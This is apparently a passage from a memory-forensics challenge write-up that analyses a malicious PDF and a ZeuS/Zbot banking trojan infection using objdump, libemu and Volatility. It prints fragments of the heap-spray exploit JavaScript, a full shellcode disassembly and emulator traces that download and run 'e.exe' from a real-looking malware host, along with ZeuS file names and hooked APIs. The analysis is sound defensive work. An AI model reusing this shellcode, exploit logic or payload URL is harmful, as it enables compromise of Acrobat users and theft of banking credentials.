+)Cwy[XWT]=eUq+dPl;var kKG=4012;var LwZ=Array(kKG);for(XWT=0;XWT<kKG;XWT++)
{LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");}
Collab.getIcon(LwZ+"_N.bundle");}
var sly=unescape,ZgA=app.viewerVersion.toString(),TjP=this;if(ZgA<8)
{bSuTN();}
if(ZgA>=8&&ZgA<9)
{Soy();}
if(ZgA<=9)
{XiIHG();}
```

Straight to the point, there are three different shellcode: one for Acrobat Reader version 7 and earlier (function bSuTN), one for version 8 (function Soy) and one for version 9 (function XiIHG).

Now, we can examine shellcodes with objdump and libemu. First shellcode, for Acrobat Reader V7. Object disassembly is:

```
objdump -b binary -m i386 -D -s --disassembler-options=intel --stop-address 0xe0
ar7.bin
...
   0:33 c0                  xor    eax,eax
   2:64 8b 40 30            mov    eax,DWORD PTR fs:[eax+0x30]
   6:78 0c                  js     0x14
   8:8b 40 0c               mov    eax,DWORD PTR [eax+0xc]
   b:8b 70 1c               mov    esi,DWORD PTR [eax+0x1c]
   e:ad                     lods   eax,DWORD PTR ds:[esi]
```

```
 f:8b 58 08              mov    ebx,DWORD PTR [eax+0x8]
12:eb 09                 jmp    0x1d
14:8b 40 34              mov    eax,DWORD PTR [eax+0x34]
17:8d 40 7c              lea    eax,[eax+0x7c]
1a:8b 58 3c              mov    ebx,DWORD PTR [eax+0x3c]
1d:6a 44                 push   0x44
1f:5a                    pop    edx
20:d1 e2                 shl    edx,1
22:2b e2                 sub    esp,edx
24:8b ec                 mov    ebp,esp
26:eb 4f                 jmp    0x77
28:5a                    pop    edx
29:52                    push   edx
2a:83 ea 56              sub    edx,0x56
2d:89 55 04              mov    DWORD PTR [ebp+0x4],edx
30:56                    push   esi
31:57                    push   edi
32:8b 73 3c              mov    esi,DWORD PTR [ebx+0x3c]
35:8b 74 33 78           mov    esi,DWORD PTR [ebx+esi*1+0x78]
39:03 f3                 add    esi,ebx
3b:56                    push   esi
3c:8b 76 20              mov    esi,DWORD PTR [esi+0x20]
3f:03 f3                 add    esi,ebx
41:33 c9                 xor    ecx,ecx
43:49                    dec    ecx
44:50                    push   eax
45:41                    inc    ecx
46:ad                    lods   eax,DWORD PTR ds:[esi]
47:33 ff                 xor    edi,edi
49:36 0f be 14 03        movsx  edx,BYTE PTR ss:[ebx+eax*1]
4e:38 f2                 cmp    dl,dh
50:74 08                 je     0x5a
52:c1 cf 0d              ror    edi,0xd
55:03 fa                 add    edi,edx
57:40                    inc    eax
58:eb ef                 jmp    0x49
5a:58                    pop    eax
5b:3b f8                 cmp    edi,eax
5d:75 e5                 jne    0x44
5f:5e                    pop    esi
60:8b 46 24              mov    eax,DWORD PTR [esi+0x24]
63:03 c3                 add    eax,ebx
65:66 8b 0c 48           mov    cx,WORD PTR [eax+ecx*2]
69:8b 56 1c              mov    edx,DWORD PTR [esi+0x1c]
6c:03 d3                 add    edx,ebx
6e:8b 04 8a              mov    eax,DWORD PTR [edx+ecx*4]
71:03 c3                 add    eax,ebx
73:5f                    pop    edi
74:5e                    pop    esi
75:50                    push   eax
76:c3                    ret
77:8d 7d 08              lea    edi,[ebp+0x8]
7a:57                    push   edi
7b:52                    push   edx
7c:b8 33 ca 8a 5b        mov    eax,0x5b8aca33
81:e8 a2 ff ff ff        call   0x28
```

```
  86:32 c0                  xor    al,al
  88:8b f7                  mov    esi,edi
  8a:f2 ae                  repnz scas al,BYTE PTR es:[edi]
  8c:4f                     dec    edi
  8d:b8 65 2e 65 78         mov    eax,0x78652e65
  92:ab                     stos   DWORD PTR es:[edi],eax
  93:66 98                  cbw
  95:66 ab                  stos   WORD PTR es:[edi],ax
  97:b0 6c                  mov    al,0x6c
  99:8a e0                  mov    ah,al
  9b:98                     cwde
  9c:50                     push   eax
  9d:68 6f 6e 2e 64         push   0x642e6e6f
  a2:68 75 72 6c 6d         push   0x6d6c7275
  a7:54                     push   esp
  a8:b8 8e 4e 0e ec         mov    eax,0xec0e4e8e
  ad:ff 55 04               call   DWORD PTR [ebp+0x4]
  b0:93                     xchg   ebx,eax
  b1:50                     push   eax
  b2:33 c0                  xor    eax,eax
  b4:50                     push   eax
  b5:50                     push   eax
  b6:56                     push   esi
  b7:8b 55 04               mov    edx,DWORD PTR [ebp+0x4]
  ba:83 c2 7f               add    edx,0x7f
  bd:83 c2 31               add    edx,0x31
  c0:52                     push   edx
  c1:50                     push   eax
  c2:b8 36 1a 2f 70         mov    eax,0x702f1a36
  c7:ff 55 04               call   DWORD PTR [ebp+0x4]
  ca:5b                     pop    ebx
  cb:33 ff                  xor    edi,edi
  cd:57                     push   edi
  ce:56                     push   esi
  cf:b8 98 fe 8a 0e         mov    eax,0xe8afe98
  d4:ff 55 04               call   DWORD PTR [ebp+0x4]
  d7:57                     push   edi
  d8:b8 ef ce e0 60         mov    eax,0x60e0ceef
  dd:ff 55 04               call   DWORD PTR [ebp+0x4]
```

This is the output of libemu:

```
sctest -Svgs 1000000 < ar7.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =>
         none;
     UINT uSize = 136;
) =  19;
```

```
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =>
          = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x004170e0 =>
          = "http://search-network-plus.com/load.php?a=a&st=Internet Explorer
6.0&e=2";
     LPCTSTR szFileName = 0x0012fe18 =>
          = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =>
          = "e.exe";
     UINT uCmdShow = 0;
) =  32;
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;
```

Purpose: download an executable file named “e.exe” from:
`http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2`
and execute it. It exploits a vulnerability in Javascript function Collab.collectEmailInfo() that lead to buffer overflow (see http://osvdb.org/41495).

Second shellcode, for Acrobat Reader V8 is the same. So the test with libemu shows the same behavior:

```
sctest -Svgs 1000000 < ar8.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =>
         none;
     UINT uSize = 136;
) =  19;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =>
          = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x004170e0 =>
          = "http://search-network-plus.com/load.php?a=a&st=Internet Explorer
6.0&e=1";
```

```
     LPCTSTR szFileName = 0x0012fe18 =>
           = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =>
           = "e.exe";
     UINT uCmdShow = 0;
) =  32;
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;
```

The only difference is in the URL where the executable "e.exe" is retrieved:
`http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=1`
that differs only for the last URLencoded parameter.
This shellcode exploits a vulnerability in function **util.printf** (see http://www.kb.cert.org/vuls/id/593409), a buffer overflow.

Now, the shellcode for Acrobat Reader V9. The code is identical to previous two, except for a initial NOPs block. Testing with libemu leads to identical output:

```
sctest -Svgs 1000000 < ar9.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 296155
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =>
         none;
     UINT uSize = 136;
) =  19;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =>
           = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =>
         none;
     LPCTSTR szURL = 0x00417180 =>
           = "http://search-network-plus.com/load.php?a=a&st=Internet Explorer
6.0&e=3";
     LPCTSTR szFileName = 0x0012fe18 =>
           = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) =  0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =>
           = "e.exe";
     UINT uCmdShow = 0;
) =  32;
```

```
void ExitThread (
     DWORD dwExitCode = 0;
) =  0;
```

The difference is only in the URL where to retrieve the executable “e.exe”:
`http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3`
As usual, differs only on the last URLencoded parameter.

The third shellcode exploits a vulnerability in function Collab.getIcon (see http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927).

Question 7. List suspicious files that were loaded by any processes on the victim’s machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim’s bank account?	Possible Points: 2pts

Tools Used: Volatility with malfind2 plugin from Michael Hale Ligh (http://mnin.blogspot.com/2009/07/new-and-updated-volatility-plug-ins.html)

Using Volatility to list files opened from all processes:
`python volatility files -f Bob.vmem`
We can look at the opened files at the time memory was dumped.

Process AcroRd32.exe (PID 1752) loads:

```
python volatility files -p 1752 -f Bob.vmem
Pid: 1752
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \lsarpc
File   \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr107.tmp
File   \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr106.tmp
File   \Program Files\Adobe\Acrobat 6.0\Resource\Font
File   \Program Files\Adobe\Acrobat 6.0\Resource\CMap
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr10C.tmp
File   \DOCUME~1\ADMINI~1\LOCALS~1\Temp\plugtmp\PDF.php
File   \Program Files\Adobe\Acrobat 6.0\Reader\Messages\ENU\RdrMsgENU.pdf
File   \DOCUME~1\ADMINI~1\LOCALS~1\Temp\Acr110.tmp
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \Documents and Settings\Administrator\Application Data\AdobeUM
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \Documents and Settings\Administrator\Local Settings\Temporary Internet
Files\Content.IE5\index.dat
File   \Documents and Settings\Administrator\Cookies\index.dat
File   \Documents and Settings\Administrator\Local
Settings\History\History.IE5\index.dat
File   \Endpoint
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
```

```
File    \ROUTER
File    \ROUTER
File    \Endpoint
File    \AsyncConnectHlp
```

In red there is a temp file related to URL:
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
found in Firefox process, and may be related to initial download of malicious PDF (as a link in e-mail from coworker)

More interesting is process 644 (winlogon.exe):

```
python volatility files -p 644 -f Bob.vmem
Pid: 644
File    \WINDOWS\system32\sdra64.exe
File    \TerminalServer\AutoReconnect
File    \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File    \WINDOWS\system32\lowsec\user.ds
File    \lsarpc
File    \InitShutdown
File    \InitShutdown
File    \WINDOWS\system32\dllcache
File    \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File    \WINDOWS\AppPatch
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\isapi\_vti_adm
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\_vti_bin\_vti_adm
File    \WINDOWS\system32
File    \WINDOWS\Help
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\isapi\_vti_aut
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\_vti_bin\_vti_aut
File    \WINDOWS\system32\inetsrv
File    \Program Files\Common Files\Microsoft Shared\web server extensions\40\bin
File    \WINDOWS\Fonts
File    \WINDOWS\system32\drivers
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\servsupp
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\bots\vinavbar
File    \Program Files\microsoft frontpage\version3.0\bin
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\_vti_bin
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\bin\1033
File    \Program Files\Common Files\Microsoft Shared\web server
extensions\40\isapi
File    \WINDOWS
File    \Program Files\Common Files\System\msadc
File    \Program Files\Common Files\Microsoft Shared\DAO
File    \Program Files\Windows Media Player
File    \Program Files\Common Files\System\ado
File    \Program Files\Common Files\System\Ole DB
```

```
File   \WINDOWS\inf
File   \WINDOWS\system
File   \WINDOWS\msagent
File   \WINDOWS\msagent\intl
File   \Program Files\MSN Gaming Zone\Windows
File   \WINDOWS\pchealth\helpctr\binaries
File   \Program Files\NetMeeting
File   \WINDOWS\system32\drivers\disdn
File   \WINDOWS\ime\CHTIME\Applets
File   \WINDOWS\system32\wbem
File   \WINDOWS\system32\IME\CINTLGNT
File   \WINDOWS\system32\Com
File   \WINDOWS\system32\Setup
File   \WINDOWS\ime\imjp8_1
File   \Program Files\Common Files\Microsoft Shared\Triedit
File   \Program Files\Windows NT
File   \Program Files\Common Files\System
File   \WINDOWS\system32\1033
File   \Program Files\Common Files\Microsoft Shared\web server
extensions\40\admcgi\scripts
File   \Program Files\Common Files\Microsoft Shared\web server
extensions\40\admisapi\scripts
File   \WINDOWS\system32\usmt
File   \WINDOWS\ime\imkr6_1\dicts
File   \WINDOWS\system32\mui\0009
File   \Program Files\Internet Explorer
File   \WINDOWS\ime\imjp8_1\applets
File   \WINDOWS\ime\imkr6_1\applets
File   \WINDOWS\system32\xircom
File   \Program Files\Internet Explorer\Connection Wizard
File   \Program Files\Common Files\Microsoft Shared\MSInfo
File   \WINDOWS\ime\imkr6_1
File   \WINDOWS\ime\shared
File   \WINDOWS\system32\IME\PINTLGNT
File   \Program Files\Common Files\SpeechEngines\Microsoft\Lexicon\1033
File   \WINDOWS\Resources\Themes\Luna
File   \Program Files\Movie Maker
File   \WINDOWS\ime
File   \WINDOWS\srchasst
File   \Program Files\Outlook Express
File   \WINDOWS\system32\oobe
File   \Program Files\Common Files\MSSoap\Binaries
File   \Program Files\Common Files\MSSoap\Binaries\Resources\1033
File   \WINDOWS\mui
File   \WINDOWS\system32\npp
File   \WINDOWS\ime\shared\res
File   \Program Files\Windows NT\Pinball
File   \WINDOWS\ime\chsime\applets
File   \WINDOWS\system32\Restore
File   \Program Files\Common Files\SpeechEngines\Microsoft\TTS\1033
File   \Program Files\Common Files\Microsoft Shared\Speech
File   \WINDOWS\Resources\Themes\Luna\Shell\NormalColor
File   \WINDOWS\Resources\Themes\Luna\Shell\Homestead
File   \WINDOWS\Resources\Themes\Luna\Shell\Metallic
File   \WINDOWS\system32\wbem\snmp
File   \Program Files\Common Files\SpeechEngines\Microsoft
```

```
File   \Program Files\Common Files\Microsoft Shared\Speech\1033
File   \WINDOWS\PeerNet
File   \WINDOWS\system32\spool\drivers\color
File   \WINDOWS\system32\IME\TINTLGNT
File   \WINDOWS\Help\Tours\mmTour
File   \WINDOWS\pchealth\UploadLB\Binaries
File   \Program Files\Common Files\Microsoft Shared\VGX
File   \WINDOWS\system32\wbem\xml
File   \Program Files\Windows NT\Accessories
File   \WINDOWS\system32\mui\0401
File   \WINDOWS\system32\mui\0404
File   \WINDOWS\system32\mui\0405
File   \WINDOWS\system32\mui\0406
File   \WINDOWS\system32\mui\0407
File   \WINDOWS\system32\mui\0408
File   \WINDOWS\system32\mui\040b
File   \WINDOWS\system32\mui\040C
File   \WINDOWS\system32\mui\040D
File   \WINDOWS\system32\mui\040e
File   \WINDOWS\system32\mui\0410
File   \WINDOWS\system32\mui\0411
File   \WINDOWS\system32\mui\0412
File   \WINDOWS\system32\mui\0413
File   \WINDOWS\system32\mui\0414
File   \WINDOWS\system32\mui\0415
File   \WINDOWS\system32\mui\0416
File   \WINDOWS\system32\mui\0419
File   \WINDOWS\system32\mui\041b
File   \WINDOWS\system32\mui\041D
File   \WINDOWS\system32\mui\041f
File   \WINDOWS\system32\mui\0424
File   \WINDOWS\system32\mui\0804
File   \WINDOWS\system32\mui\0816
File   \WINDOWS\system32\mui\0C0A
File   \WINDOWS\system32\mui\0402
File   \WINDOWS\system32\mui\0418
File   \WINDOWS\system32\mui\041a
File   \WINDOWS\system32\mui\041e
File   \WINDOWS\system32\mui\0425
File   \WINDOWS\system32\mui\0426
File   \WINDOWS\system32\mui\0427
File   \Program Files\xerox\nwwia
File   \WINDOWS\WinSxS
File   \SfcApi
File   \SfcApi
File   \winlogonrpc
File   \winlogonrpc
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9
File   \_AVIRA_2109
File   \{9B365890-165F-11D0-A195-0020AFD156E4}
File   \WINDOWS\system32\lowsec\local.ds
```

As we will see in the following analysis, red strings are related to a specific malware. Using malfind2 plugin, we can extract suspicious process and hidden executables from processes, first we check process with PID 644 (winlogon.exe):

```
python volatility malfind2 -p 644 -f Bob.vmem -d pid644/
```

after execution we can find in directory pid644/ six files, but only one contains interesting strings, in 16 bit encoding:
C:\WINDOWS\system32\lowsec\local.ds
C:\WINDOWS\system32\sdra64.exe
C:\WINDOWS\system32\lowsec\user.ds

File is 118784 bytes in size, and examined with VirusTotal website is identified as a variant of Zbot malware.
As from analysis made by Kaspersky (http://support.kaspersky.com/viruses/solutions?qid=208280039) this malware uses as file name sdra64.exe and creates data files local.ds and user.ds. File named local.ds is used to store configuration and instructions to malware on URL to filter or where to inject HTML code.

Using strings, both in 8 bit or in 16 bit mode, we can see a lot of interesting strings in the memory image of the hidden process.
16 bit strings:

```
 Offset string
   3c90 BOFA answers:
   3cbc grab_%S_%02u_%02u_%02u.bin
   3cf4 Grabbed data from: %S
   3d34 %S://%S:%S@%u.%u.%u.%u:%u/
  134f8 C:\WINDOWS\system32\lowsec\local.ds
  193c0 C:\WINDOWS\system32\sdra64.exe
  19600 C:\WINDOWS\system32\lowsec\user.ds
```

“BOFA” is an acronym for “Bank Of America”.

8 bit strings:

```
 Offset string
   10fc urlmon.dll
...
   1b20 userenv.dll
...
   1cd0 crypt32.dll
   1cdc user32.dll
   1ce8 wininet.dll
   1cf4 ws2_32.dll
   1d00 wsocks32.dll
   1d10 ntdll.dll
...
   1d30 GetClipboardData
   1d44 TranslateMessage
   1d58 closesocket
   1d6c HttpQueryInfoW
   1d7c HttpQueryInfoA
   1d8c InternetCloseHandle
   1da0 InternetQueryDataAvailable
   1dbc InternetReadFileExA
   1dd0 InternetReadFileExW
   1de4 InternetReadFile
   1df8 HttpSendRequestExA
   1e0c HttpSendRequestExW
   1e20 HttpSendRequestA
   1e34 HttpSendRequestW
   1e48 NtQueryDirectoryFile
   1e60 LdrGetProcedureAddress
```

```
   1e78 LdrLoadDll
   1e84 NtCreateThread
```

According with some analysis done by antivirus firms on the malware (ESet: http://www.eset.eu/encyclopaedia/win32-spy-zbot-vy-trojan-banker-bancos-igt-pws-gen-r,), listed DLL and Windows calls are hooked by malware to inject code in other processes, to steal information, redirect HTTP traffic and inject HTML code in web pages. Windows calls listed in red are well known hooks used to inject code in other processes. In answer to question #10 will be the final evidence, showing the effective hooking of Windows calls in running processes.

Executing plugin malfind2 on all processes, it detect a lot of hidden processes, all of 118784 bytes in size, almost in every process. This is probably an effect of code injection operated by malware.

As a side note, examining strings in the process 1752 (Acrobat Reader) memory dump obtained with Volatility:

```
volatility memdmp -p 1752 -f Bob.vmem

strings -t x -n 6 -a 1752.dmp
```

at offset 0x6e8368 and 0x6e85e8 we can see some header of a HTTP transaction, related to a download (HTTP GET) from:
http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer%206.0&e=2
of a file named “file.exe” of size 110080 bytes:

```
 6e8368 http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer
%206.0&e=2
 6e83b8 file[1].exe
 6e83c4 HTTP/1.1 200 OK
 6e83d5 X-Powered-By: PHP/5.2.12
 6e83ef Pragma: no-cache
 6e8401 Content-Transfer-Encoding: binary
 6e8424 Content-Disposition: attachment; filename=file.exe;
 6e8459 Content-Encoding: gzip
 6e8471 Keep-Alive: timeout=1, max=100
 6e8491 Transfer-Encoding: chunked
 6e84ad Content-Type: application/x-download
 6e84d3 Content-Language: ru
 6e84eb ~U:administrator
 6e85e8 http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
 6e8634 file[2].exe
 6e8640 HTTP/1.1 200 OK
 6e8651 Content-Length: 110080
 6e8669 Content-Type: application/x-download
 6e868f Content-Disposition: attachment; filename=file.exe
```

Please note the headers: “Content-Language: ru” and “Content-Length: 110080”
Operating a simple carving on entire memory image we have as EXE file two samples recovered of exactly 110080 bytes:
00363624.exe identified by 16 out of 40 antivirus as a threat (Zbot variant)
Analysis from Virustotal:
http://www.virustotal.com/it/analisis/e9d9898e06052c21dbda93b0984dbf73f3ee9e69813aafb57bb78c0624421439-1270022080

00851488.exe suspected by 4 out of 39 antivirus
Analysis from Virustotal:
http://www.virustotal.com/it/analisis/94e0387f6c499a703de141e6fb22597c2d698493123a53b7970185022f632452-1270731886

These samples can be remains related to initial attack, or malware partial memory images. These images differs from sample recovered by malfind2 plugin, that contains more useful information.

Question 8. If any suspicious files can be extracted from an injected process, do any antivirus products pick up the suspicious executable? What is the general result from antivirus products?	Possible Points: 6pts

Tools Used:Virustotal.com, clamav v0.95.2

At the date of writing, april 8, 2010, the file extracted from winlogon.exe process was already examined at april 3: 22 antiviruses out of 36 detect as a malware. Requesting new analysis, the new result is 31 out of 39 antiviruses detect it as a threat, mainly as a Zbot variant. Permalink of analysis results is: http://www.virustotal.com/it/analisis/6b5f905e16f2d9c85bb37835d982ccd7ea916b1377c6c1f4f97f8c54d9e05088-1270732215

Clamav v. 0.95.2 (database updated at april 8 11:10 2010 CEST, version 10716) doesn't detect it as a threat.

Results from antiviruses probably was altered by challenge itself, whose participants submits samples to Virustotal and other services alike.

As come in evidence in the analysis, the executable sdra64.exe is a variant of a trojan known in the wild as ZeuS, that come in two elements: a server, called ZeuS Command&Control, and a client (a bot) that need to be installed in victims' computers (see https://zeustracker.abuse.ch/faq.php). The bot part of ZeuS is capable of steal user credentials for online services (social networks, banking accounts, FTP and mail accounts, ...), can act as a redirector for phishing purposes and also is capable to modify visited web sites “on-the-fly” in the client side, injecting HTML code in pages requested from a web browser.

Question 9. Are there any related registry entries associated with the payload?	Possible Points: 4pts

Tools Used: strings, grep, volatility with Registry Tools plugin

Using strings on the malfind2 extracted process on PID 644 (see answer #7) we can see two registry keys, coded in 16-bit chars:

```
software\microsoft\windows\currentversion\explorer
software\microsoft\internet explorer\phishingfilter
```

and a single registry key when strings is in 8-bit mode:

```
software\microsoft\internet explorer\main
```

but no evidences that these keys are related to payload, or on their purpose.

Using volatility to see what registry keys are opened from processes, we can see those related to winlogon.exe process (PID 644):

```
python volatility regobjkeys -p 644 -f Bob.vmem
Pid: 644
\REGISTRY\MACHINE
\REGISTRY\MACHINE\SOFTWARE\CLASSES
\REGISTRY\USER\.DEFAULT
\
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATA
LOG9
\
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CAT
ALOG5
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS
```

```
NT\CURRENTVERSION\WINLOGON\NOTIFY\CRYPT32CHAIN
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\NOTIFY\CRYPTNET
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\NOTIFY\SCLGNTFY
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\NOTIFY\TPSVC
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\LSA
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINLOGON\CREDENTIALS
\REGISTRY\MACHINE\SYSTEM\SETUP
\REGISTRY\USER
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DRIVERS32
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\NETWORKPROVIDER\HWORDER
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\NETBT\PARAMETERS\INTERFACES
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\NETBT\PARAMETERS
\REGISTRY\USER\S-1-5-21-789336058-1844823847-839522115-500
\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\SHELLNOROAM
\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\SHELLNOROAM\MUICACHE
```

No clues about the question. So, we must use another plugin of Volatility, Registry Tools (http://moyix.blogspot.com/2009/01/memory-registry-tools.html).

First, we look at Registry Hives loaded in memory:

```
python volatility hivescan -f Bob.vmem
Offset          (hex)
44658696        0x2a97008
44686176        0x2a9db60
48529416        0x2e48008
55269896        0x34b5a08
57399112        0x36bd748
59082008        0x3858518
70588752        0x4351950
111029088       0x69e2b60
114539360       0x6d3bb60
121604960       0x73f8b60
180321120       0xabf7b60
191408992       0xb68ab60
244959264       0xe99c820
```

Second, we ask for a list of registry hives:

```
python volatility hivelist -o 0x2a97008 -f Bob.vmem
Address      Name
0xe1d6cb60   \Documents and Settings\Administrator\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe1de0b60   \Documents and Settings\Administrator\NTUSER.DAT
0xe1769b60   \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17deb60   \Documents and Settings\LocalService\NTUSER.DAT
0xe1797b60   \Documents and Settings\NetworkService\Local Settings\Application
```

```
Data\Microsoft\Windows\UsrClass.dat
0xe17a3820   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1526748   \WINDOWS\system32\config\software
0xe15a3950   \WINDOWS\system32\config\default
0xe151ea08   \WINDOWS\system32\config\SAM
0xe153e518   \WINDOWS\system32\config\SECURITY
0xe139d008   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
```

Trying for another offset:

```
python volatility hivelist -o 0x2a9db60 -f Bob.vmem
Address      Name
0xe1d6cb60   \Documents and Settings\Administrator\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe1de0b60   \Documents and Settings\Administrator\NTUSER.DAT
0xe1769b60   \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17deb60   \Documents and Settings\LocalService\NTUSER.DAT
0xe1797b60   \Documents and Settings\NetworkService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17a3820   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1526748   \WINDOWS\system32\config\software
0xe15a3950   \WINDOWS\system32\config\default
0xe151ea08   \WINDOWS\system32\config\SAM
0xe153e518   \WINDOWS\system32\config\SECURITY
0xe139d008   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
```

Addresses are the same, so we can assume that all points to the same memory zone. So, we ask for a complete CSV dump with values of Registry keys from an offset listed above:

```
python volatility hivedump -o 0x2a97008 -v -f Bob.vmem
Dumping \Documents and Settings\Administrator\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat => e1d6cb60.csv
Dumping \Documents and Settings\Administrator\NTUSER.DAT => e1de0b60.csv
Dumping \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat => e1769b60.csv
Dumping \Documents and Settings\LocalService\NTUSER.DAT => e17deb60.csv
Dumping \Documents and Settings\NetworkService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat => e1797b60.csv
Dumping \Documents and Settings\NetworkService\NTUSER.DAT => e17a3820.csv
Dumping \WINDOWS\system32\config\software => e1526748.csv
Dumping \WINDOWS\system32\config\default => e15a3950.csv
Dumping \WINDOWS\system32\config\SAM => e151ea08.csv
Dumping \WINDOWS\system32\config\SECURITY => e153e518.csv
Dumping  => e139d008.csv
Dumping \WINDOWS\system32\config\system => e1035b60.csv
Dumping  => e102e008.csv
```

Now, we can see if there is any reference to payload, using grep.
From hive in \WINDOWS\system32\config\software we have:

- Key: Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

